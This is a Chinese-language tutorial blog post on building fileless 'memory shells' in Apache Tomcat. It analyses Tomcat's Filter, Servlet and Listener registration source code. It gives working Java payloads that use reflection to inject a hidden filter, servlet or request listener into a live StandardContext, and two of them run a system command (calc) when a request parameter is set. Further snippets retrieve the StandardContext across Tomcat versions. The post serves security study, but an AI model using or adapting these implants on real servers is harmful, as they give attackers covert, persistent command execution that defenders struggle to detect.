Java内存马/中间件源码剖析 - 长文/断续更新
内存马(Memory Shell)是一种利用各类中间件、服务器漏洞,将恶意代码注入中间件、服务器进程的内存中的攻击技术.
其特点是无文件木马,无文件落地,通常会驻留在进程,内存或者java虚拟机中,非常隐蔽,难以排查,难以删除.
本篇文章为笔者自己的教程分享目录,除开特别说明的 Payload 、//Payload
代码标注、笔者允许之外,带有注释的程序源代码分析片段如//源码分析
、笔者个人思考内容未经许可禁止转载
1.1 tomcat内存马
内存马是什么?内存马即是驻留在内存中的木马,可以通过 API 调用触发它. 一般在 Java 中通过中间件的漏洞植入内存马
基本概念:
- Engine:最顶层容器组件,其下可以包含多个 Host
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
- Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- Wrapper:一个 Wrapper 代表一个 Servlet
客户 – 服务端 → Listener → Filter → Servlet
常见 Context 分类:
- ServletContext(javax.servlet.ServletContext): 提供了 Web 应用所有 Servlet 的视图,通过它可以对某个 Web 应用的各种资源和功能进行访问
- ApplicationContext(org.apache.catalina.core.ApplicationContext): 为了满足 Servlet 规范,必须包含一个 ServletContext 接口的实现,这个实现类就是 ApplicationContext。,每个 Tomcat 的 Context 容器中都会包含一个 ApplicationContext
- StandardContext(org.apache.catalina.core.StandardContext): org.apache.catalina.Context 的默认标准实现为 StandardContext,Context 在 Tomcat 中代表一个 web 应用,运行在某个特定的虚拟主机上
1.1.1 filter型内存马
StandardContext(org.apache.catalina.core.StandardContext) 中关于 Filter 的重要参数和数据结构如下所示:
-
FilterDefs: 存放 FilterDef,FilterDefs 键值对为 <FilterName, FilterDef>.
FilterDef 中又存放 Filter 及 Filter 配置信息private Map<String, FilterDef> filterDefs = new HashMap();
- FilterMaps: 存放 FilterMap,FilterMaps 的键值对为 <FilterName, FilterMap>.
FilterMap 将 FilterConfig 映射到具体请求路径上,但 FilterMap 并不保存 FilterConfig,仅保存映射信息private final ContextFilterMaps filterMaps = new ContextFilterMaps();
- FilterConfigs: Filter的具体配置,在正常业务下注册时无需配置. 因为在 StandardContext 生命周期开始时会自动根据 FilterDefs 和 FilterMaps 生成 FilterConfigs
private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
Filter 中重要参数:
-
FilterChain: 由多个包含 FilterConfig 组成的链式结构,其参数位置如下所示
public class TestFilter implements Filter{ @Override //doFilter 中包含的 FilterChain public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { //filterChain 后续调用链 filterChain.doFilter(servletRequest, servletResponse); } }
为啥用户 Filter 里需要调用 filterChain.doFilter 呢?我们分析一下 filterChain,直接进入 FilterChain 的实现类即 catalina.core.ApplicationFilterChain 查看源码,发现如下所示: doFilter 方法先检查其全局安全性后,最终跳到 this.internalDoFilter 方法中
//源码分析
public final class ApplicationFilterChain implements FilterChain {
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;
try {
AccessController.doPrivileged(() -> {
//调用 internalDoFilter,我们继续跟进
this.internalDoFilter(req, res);
return null;
});
} catch (PrivilegedActionException var7) {
//调用 internalDoFilter,我们继续跟进
...[省略代码]...
}
} else {
this.internalDoFilter(request, response);
}
}
}
而 internalDoFilter 方法的详细分析如下所示,我们发现了在每次 filterChain.doFilter 被用户/系统定义的 Filter 触发时,其本质上就是逐次取出所有 Filters 中的接下来那一个 ApplicationFilterConfig 用来调用下一个 Filter,然后下一个 Filter 又继续调用 filterChain.doFilter,又调用下下个 Filter,以此类推形成一个 Filter 链.
当轮转结束后直接转到 this.servlet.service
代码分析如下注释所示
//源码分析
public final class ApplicationFilterChain implements FilterChain {
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
private int pos = 0;
private int n;
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
//pos 即为 FilterConfig 的遍历下标
//n 即为总的 FilterConfig 个数
//若当前 pos 小于总 FilterConfig 个数
if (this.pos < this.n) {
//取新的 FilterConfig,然后 pos + 1
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
//获取当前 FilterConfig 中的 Filter
Filter filter = filterConfig.getFilter();
...[非关键代码省略]...
//安全性判断后,调用 Filter 中的 doFilter
if (Globals.IS_SECURITY_ENABLED) {
...[安全性校验代码]...
//调用用户 filter 中的 dofilter
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
//调用用户 filter 中的 dofilter
filter.doFilter(request, response, this);
}
} catch (ServletException | RuntimeException | IOException var15) {
...[非关键代码省略]...
} catch (Throwable var16) {
...[非关键代码省略]...
}
//若当前 pos 大于等于总 FilterConfig 个数,即 FilterConfig 全部遍历完后
} else {
try {
...[非关键代码省略]...
//判断用户传参是否合法及判断安全性
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;
Principal principal = ((HttpServletRequest)req).getUserPrincipal();
Object[] args = new Object[]{req, res};
//转到 servlet.service
SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
} else {
//转到 servlet.service
this.servlet.service(request, response);
}
} catch (ServletException | RuntimeException | IOException var17) {
...[非关键代码省略]...
} catch (Throwable var18) {
...[非关键代码省略]...
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}
}
}
}
}
如果不加 filterChain.doFilter,那么 Filter 链将会断裂,甚至于根本无法调用 this.servlet.service 而无法调用 Servlet 对象,从而破坏业务. 但在 filterChain 中也有不少操作空间,这个笔者后续再讲
到现在,可能有人就要问笔者了:你讲的 FilterChain 和 FilterMaps 还有 FilterDefs 有啥关系?先别急,我们绕过 ApplicationFilterChain 继续跟进直到创建 FilterChain 的地方 org.apache.catalina.core.StandardWrapperValve.invoke
//源码分析
final class StandardWrapperValve extends ValveBase {
public void invoke(Request request, Response response) throws IOException, ServletException {
...[省略几千行代码]...
//filterChain 被创建的地方
//继续跟进
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
...[省略几千行代码]...
}
如上所示的 StandardWrapperValve.invoke 中 ApplicationFilterFactory.createFilterChain 函数即返回 filterChain 实例
继续跟进 org.apache.catalina.core.ApplicationFilterFactory.createFilterChain 方法,源码分析如下所示
//源码分析
public final class ApplicationFilterFactory {
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
//判断当前 Filter 完了后要执行的 servlet 是否为空
//为空直接返回空 filterChain
if (servlet == null) {
return null;
//不为空
} else {
//先声明个 filterChain,在下列if语句中赋值
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
//开启了安全模式则 new 一个 filterChain
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
//若未开启安全模式且 (filterChain)req 不为空,就拿取 req filterChain
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
//如上所示 filterChain 赋值完毕
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
//获取 StandardContext
StandardContext context = (StandardContext)wrapper.getParent();
//从 StandardContext 获取其中的 FilterMaps,至于为什么这样写如后续所示
FilterMap[] filterMaps = context.findFilterMaps();
//如果从 StandardContext 获取的 FilterMaps 不为空
if (filterMaps != null && filterMaps.length != 0) {
//获取当前 request 的 dispatcher_type
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
//request path 赋值
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
//遍历 filterMaps 中的 filterMap
for(var12 = 0; var12 < var11; ++var12) {
//获取当前 filter 的 filterMap
filterMap = var10[var12];
//这里很关键,若当前 request dispatcher_type 和当前 filterMap 中的 dispathcer 对的上
//且 request path 和当前 filterMap 中的 path 也对的上
//那就进行如下判断
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
//如果当前 filter 的 filterConfig 不为空
if (filterConfig != null) {
//filter 链添加 filterConfig
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
//遍历 filterMaps 中的 filterMap
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
//同上
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
//如果当前 filter 的 filterConfig 不为空
//filter 链添加 filterConfig
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
}
关于 FilterMap 代码分析和理解如上所示,笔者不再赘述
那现在可能各位又要问了: 你还没讲 FilterDef,那这个又和 FilterDef 有什么关系?
其实这个问题其实很简单,我们不妨想一下,filterChain 中要调用用户 Filter.doFilter(),那肯定 createFilterChain 中的 filterConfig 必然包含 filterDef 对象。何出此言?
因为我们用户的 Filter 对象都是放在 filterDef 中的,如果在 createFilterChain 中只有起映射作用的 filterMap 干涉,那 filterChain 还调用个锤子的 Filter.doFilter
话是这么说,但是我们还是要找到依据,不过接下来就简单许多了,笔者相信各位读者都注意到了 createFilterChain 那两层循环中的某行代码,用于获取当前 filter 的 filterConfig
//源码分析
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
我们跟进 StandardContext.findFilterConfig,发现该函数就是单单返回当前 filterName 对应的 filterConfig
//源码分析
public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
public FilterConfig findFilterConfig(String name) {
//跟进 this.filterConfigs 变量
return (FilterConfig)this.filterConfigs.get(name);
}
}
而这个 this.filterConfigs 变量又是在何时何地被初始化的呢?继续跟进,发现 this.filterConfigs 是在生命周期方法 filterStart 中被初始化的
//源码分析
public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
public boolean filterStart() {
...[无关紧要的log代码]...
//这个ok变量无关紧要,判断是否报错
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
//获取一个 filterDefs 迭代器: var3
Iterator var3 = this.filterDefs.entrySet().iterator();
//逐个迭代 filterDef
while(var3.hasNext()) {
//获取当前迭代对象
Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
//获取当前迭代对象的 key 即 filterName
String name = (String)entry.getKey();
...[无关紧要的log代码]...
try {
//获取当前迭代对象的 filterDef 并作为参数实例化 filterConfig
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
//将实例化的 filterConfig 放入 this.filterConfigs
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
...[错误处理代码]...
ok = false;
}
}
return ok;
}
}
}
这就解释了为何在正常业务正常流程中不必往 filterConfigs 中注册,但打入内存马时必须要手动往 filterConfigs 中注册的原因:
就是因为 StandardContext 在生命周期一开始时就已经根据 filterMaps 和 filterDefs 固定了 filterConfigs ,且未预留任何接口,黑客必须将 filterConfigs 反射出来手动添加
那么现在我们就清楚了
至此,关于 Filter 流程分析已结束,笔者不再过多赘述
接下来直接写Payload,加载内存马后访问http://127.0.0.1:8003/hackFilter?calc=1
弹计算器
//Payload
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.startup.Tomcat;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;
import java.util.Map;
import java.lang.reflect.*;
public class Hack {
public Hack(Context context) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Filter hackFilter = new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
String shell = servletRequest.getParameter("calc");
if(shell != null && shell.equals("1")) {
Runtime.getRuntime().exec("calc");
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(hackFilter.getClass().getName());
filterDef.setFilterName("hackFilter");
filterDef.setFilter(hackFilter);
//FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("hackFilter");
filterMap.addURLPattern("/hackFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加FilterDef和FilterMap
context.addFilterDef(filterDef);
context.addFilterMap(filterMap);
//获取内部类后创建FilterConfig实例,然后put进context.filterConfigs中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(context,filterDef);
Field configsfield = context.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(context);
filterConfigs.put("hackFilter",filterConfig);
}
}
filter型内存马的更加详细具体分析流程,笔者后续更新.
也可自行下来分析调试
1.1.2 servlet型内存马
我们知道,Servlet的注册流程如下:
首先调用 Tomcat.addServlet(Servlet),观察 addServlet 函数源代码发现 addServlet 函数就是先 new ExistingStandardWrapper(Servlet). 然后再 StandardWrapper.setName(ServletName),而后再顺便 StandardContext.addChild(StandardWrapper),最后返回一个 StandardWrapper 对象.
我们跟进 Tomcat.addServlet 看看到底干了啥
//源码分析
public class Tomcat{
public static Wrapper addServlet(Context ctx, String servletName, Servlet servlet) {
Wrapper sw = new ExistingStandardWrapper(servlet);
sw.setName(servletName);
//跟进 addChild
ctx.addChild(sw);
return sw;
}
}
那么这个 StandardContext.addChild(Wrapper) 到底干了什么呢?
我们接下来详细直接跟进 StandardContext.addChild 查看源码,发现该实现仅仅是判断了下是否为 jsp Servlet 而已: 若为 jsp Servlet 则在执行完毕 super.addChild(child) 后再 ServletMapping.
那我们继续跟进 super.addChild
//源码分析
public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
public void addChild(Container child) {
Wrapper oldJspServlet = null;
//child 若不为 Wrapper 实例
if (!(child instanceof Wrapper)) {
...[错误处理]...
//child 若为 Wrapper 实例
} else {
boolean isJspServlet = "jsp".equals(child.getName());
//child 若为 jspServlet
if (isJspServlet) {
oldJspServlet = (Wrapper)this.findChild("jsp");
if (oldJspServlet != null) {
this.removeChild(oldJspServlet);
}
}
//继续跟进 super.addChild(child)
super.addChild(child);
if (isJspServlet && oldJspServlet != null) {
..[jsp ServletMappingDecoded]..
}
}
}
}
跟进到抽象类 org.apache.catalina.core.ContainerBase 后,发现其先调用 addChild 而后跟进调用 addChildInternal
//源码分析
public abstract class ContainerBase extends LifecycleMBeanBase implements Container {
//children 即为 child 的 <名称, 实例> 键值对
protected final HashMap<String, Container> children = new HashMap();
public void addChild(Container child) {
//若安全性打开
if (Globals.IS_SECURITY_ENABLED) {
PrivilegedAction<Void> dp = new PrivilegedAddChild(child);
AccessController.doPrivileged(dp);
//若安全性关闭
} else {
//跟进 addChildInternal,如下函数所示
this.addChildInternal(child);
}
}
private void addChildInternal(Container child) {
...[无关紧要代码]...
synchronized(this.children) {
//抓取 this.children,若 this.children 中已有 child 的 name,即为 child 重叠
if (this.children.get(child.getName()) != null) {
...[重叠错误处理]...
}
child.setParent(this);
//关键代码,将 child 放入 children 中
this.children.put(child.getName(), child);
}
//fireContainerEvent
this.fireContainerEvent("addChild", child);
try {
if ((this.getState().isAvailable() || LifecycleState.STARTING_PREP.equals(this.getState())) && this.startChildren) {
child.start();
}
} catch (LifecycleException var4) {
LifecycleException e = var4;
throw new IllegalStateException(sm.getString("containerBase.child.start"), e);
}
}
}
如上所示,最终 child 被放入 this.children 中
那各位可能疑问又来了: 我知道这个 this.children 数组是存 StandardWrapper 的,那他又是在何处被调用的呢?又是在何处被加入进 filterChain 的呢?
兜兜转转还是进了 filter 中,接下来继续看 ApplicationFilterFactory.createFilterChain 源码,注意到一行 filterChain.setServlet 函数,即设置 filterChain 最终的 servlet. 那这个 servlet 又来自于哪里呢?
//源码分析
public final class ApplicationFilterFactory {
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
...[省略一大堆代码]...
filterChain.setServlet(servlet);
...[省略一大堆代码]...
}
}
}
继续跟进 ApplicationFilterFactory.createFilterChain 被调用的地方 org.apache.catalina.core.StandardWrapperValve,发现 servlet 实际来源于 wrapper.allocate() 的返回值如下所示
final class StandardWrapperValve extends ValveBase {
public void invoke(Request request, Response response) throws IOException, ServletException {
...[省略几十行]...
//从 this.getContainer 获取 wrapper
StandardWrapper wrapper = (StandardWrapper)this.getContainer();
//声明 servlet
Servlet servlet = null;
Context context = (Context)wrapper.getParent();
if (!context.getState().isAvailable()) {
...[判断 context 是否可用,省略]...
}
if (!unavailable && wrapper.isUnavailable()) {
...[判断 wrapper 是否可用,省略]...
}
try {
if (!unavailable) {
//servlet 实际来源
//跟进 wrapper.allocate()
servlet = wrapper.allocate();
}
} catch (UnavailableException var73) {
...[错误处理省略几十行]...
}
//servlet 塞进 filterChain 中
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
}
}
wrapper.allocate() 关键代码如下所示
//源码分析
public Servlet allocate() throws ServletException {
if (this.unloading) {
...[省略代码]..
} else {
boolean newInstance = false;
Throwable e;
//若非单线程模型
if (!this.singleThreadModel) {
//若 instance 没有获取或 instance 没有被初始化
if (this.instance == null || !this.instanceInitialized) {
synchronized(this) {
if (this.instance == null) {
try {
//loadServlet 获取 Servlet
//跟进 loadServlet
this.instance = this.loadServlet();
//获取到 instance
newInstance = true;
} catch (Exception var12) {
...[错误处理省略]...
}
}
...[Servlet初始化省略]...
}
}
//若非单线程模型
if (!this.singleThreadModel) {
if (!newInstance) {
this.countAllocated.incrementAndGet();
}
return this.instance;
}
if (newInstance) {
synchronized(this.instancePool) {
this.instancePool.push(this.instance);
++this.nInstances;
}
}
}
}
}
我们发现,这个 wrapper.allocate() 最终返回的是 instance,因此instance才是事情的关键
那到底这个 instance 从何而来呢?我们细细探究发现 wrapper.allocate 中有那么一行代码: this.instance = this.loadServlet(),instance 被 Tomcat 类中类 ExistingStandardWrapper 中的方法 ExistingStandardWrapper.loadServlet 的返回值赋值,而 ExistingStandardWrapper.loadServlet 返回的值为一个 existing,如下所示
//源码分析
public Tomcat{
public static class ExistingStandardWrapper extends StandardWrapper {
public synchronized Servlet loadServlet() throws ServletException {
if (this.singleThreadModel) {
...[无关代码]...
} else {
if (!this.instanceInitialized) {
//这里调用了 init 方法
this.existing.init(this.facade);
//instance 被初始化
this.instanceInitialized = true;
}
//这里 return 了 existing,跟进 existing
return this.existing;
}
}
}
}
我们这才发现,existing 才是整个流程的关键,那这个 existing 到底是哪儿来的呢?我们继续观察,发现原来 existing 是在 ExistingStandardWrapper 构造方法被初始化!如下所示
//源码分析
public Tomcat{
public static class ExistingStandardWrapper extends StandardWrapper {
public ExistingStandardWrapper(Servlet existing) {
//ExistingStandardWrapper 被用户传参赋值
this.existing = existing;
...[似乎不是那么重要的代码,如果对读者重要可自行下来研究]...
}
}
}
兜兜转转最终居然又绕回来了,这也就说明了为什么大部分 Payload 要从此处 new ExistingStandardWrapper(servlet) 的原因
那么这也标志 Servlet 型内存马源码分析完结,根据上述路径,可以完整构造出 Payload
接下来直接写Payload,加载内存马后访问http://127.0.0.1:8003/hello
出现Hacked字样
//Payload
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.startup.Tomcat;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class Hack {
public Hack(Context context) {
HttpServlet hackServlet = new HttpServlet(){
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("Hacked");
}
};
Wrapper wrapper = new Tomcat.ExistingStandardWrapper(hackServlet);
wrapper.setName("hackServlet");
context.addChild(wrapper);
context.addServletMappingDecoded("/hack","hackServlet");
}
}
Servlet 更加详细具体流程,笔者后续更新
1.1.3 listener型内存马
对于 listener 内存马,笔者在流程上简述就行了,以下以 ServletRequestListener 为例(简称为 listener)
只需要获取 StandardContext 后再调用 StandardContext.addApplicationEventListener(new ServletRequestListener(){}) 即可
而这个 addApplicationEventListener 到底干了什么呢?我们详细分析探究一下.
直接跟进 addApplicationEventListener
//源码分析
public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
//applicationEventListenersList 的添加方法
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
//applicationEventListenersList 的get方法
//跟进 getApplicationEventListeners
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}
}
如上所示,addApplicationEventListener 方法直接添加 listener 到 applicationEventListenersList 中,而 getApplicationEventListeners 方法则返回 applicationEventListenersList.
在这里额外提一下,其实在 StandardContext.listenerStart 方法中可以观察到存放总的 listener 变量 eventListeners 除了来自于我们添加的恶意 applicationEventListenersList 外,还主要来自于 lifecycleListener 也就是 @WebListener注解 或 Web.xml,不过这是人家开发者用的因此笔者就暂时不对那个点进行详细分析了,黑客们只管 applicationEventListenersList 就行了
我们继续跟进 getApplicationEventListeners,直接来到事件 Init 方法即 fireRequestInitEvent
//源码分析
public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
//出现 request 时,启动 Request 初始化事件方法
public boolean fireRequestInitEvent(ServletRequest request) {
//获取 applicationEventListenersList,instances 即为 listeners
Object[] instances = this.getApplicationEventListeners();
//若存在 listeners 且 listeners 不为空
if (instances != null && instances.length > 0) {
//创建基于 ServletContext 和 request 的 ServletRequestEvent
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] var4 = instances;
// var5 变量即为 listeners 的长度
int var5 = instances.length;
//遍历所有 listener
for(int var6 = 0; var6 < var5; ++var6) {
//instance 为当前遍历到的 listener 实例
Object instance = var4[var6];
if (instance != null && instance instanceof ServletRequestListener) {
//将 instance 转换为 listener 类型
ServletRequestListener listener = (ServletRequestListener)instance;
try {
//调用 listener 的 requestInitialized 方法,并将刚刚创建的 ServletRequestEvent 传入
listener.requestInitialized(event);
} catch (Throwable var10) {
...[错误处理]...
}
}
}
}
return true;
}
}
如上所示,在触发 fireRequestInitEvent 后,其遍历 listeners 并根据相应条件调用 requestInitialized
这里对于 listeners 的处理分析流程暂时告一段落,关于 listener 的其他流程和事件响应笔者后续再更新
这里我们根据刚刚分析的 ServletRequestListener.requestInitialized 直接写Payload,加载内存马后访问http://127.0.0.1:8003/*?calc=1
直接弹出计算器
//Payload
import org.apache.catalina.Context;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class Hack1 {
public Hack1(Context context) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
ServletRequestListener requestListener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent arg0) {
try {
String shell = arg0.getServletRequest().getParameter("calc");
if(shell != null && shell.equals("1")) {
Runtime.getRuntime().exec("calc");
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent arg0) {}
};
((StandardContext)context).addApplicationEventListener(requestListener);
}
}
1.2 context获取方法
在一些反序列化、类加载、jsp的场景,我们无法直接获取 request 进而获取 StandardContext,需要通过其他方法获取 StandardContext
1.2.1 tomcat全版本 利用request获取
众所周知的,在一个标准 HttpServlet 实现类中可以获得来自 Filter 的类型为 org.apache.catalina.connector.RequestFacade 的 request 请求,通过调用 RequestFacade.getServletContext() 方法可以直接获得 ServletContext.
这样就好办了,直接写 Payload 一路获取 StandardContext
ServletContext → ApplicationContext → StandardContext
//Payload
ServletContext servletContext = request.getServletContext();
Field apctxField = (Field) servletContext.getClass().getDeclaredField("context");
apctxField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) apctxField.get(servletContext);
Field stdctxField = (Field) applicationContext.getClass().getDeclaredField("context");
stdctxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);
1.2.2 tomcat版本小于10.1.x webappclassloaderbase.getresources
在 Tomcat <= 10.1.x 的 Servlet 中,可以通过 webappClassLoaderBase.getResources() 接口获取当前 WebResourceRoot 后直接调用 WebResourceRoot.getContext() 获取当前 StandardContext
//Payload
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
但 Tomcat >= 10.1.x 官方废除了该接口,使其只返回null,强制运行会返回 null 并触发 NullPointerException
//接口代码
/** @deprecated */
@Deprecated
public WebResourceRoot getResources() {
return null;
}
//调用接口报错
Cannot invoke "org.apache.catalina.WebResourceRoot.getContext()" because the return value of "org.apache.catalina.loader.WebappClassLoaderBase.getResources()" is null
因此在全版本中可以直接通过反射获取
1.2.3 tomcat全版本 webappclassloaderbase反射获取webresourceroot
由于笔者本人使用的 Tomcat > 10 版本,但 Tomcat >= 10.1.x 官方废除了该接口,且笔者未找到 getResources 接口废弃后的解决方案,因此自己写了个反射获取
直接使用如下代码通过反射拿取 WebResourceRoot 后调用 WebResourceRoot.getContext() 直接获取 StandardContext 进行后续操作
//Payload
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field webappClassLoaderBaseField = WebappClassLoaderBase.class.getDeclaredField("resources");
webappClassLoaderBaseField.setAccessible(true);
WebResourceRoot webResourceRoot = (WebResourceRoot) webappClassLoaderBaseField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) webResourceRoot.getContext();
1.3 agent内存马
Agent 内存马到底是干嘛的?
在讲 Agent 内存马,笔者尽量化繁为简,不讲代码只讲原理
Java Agent 能在字节码这个层面对类方法进行修改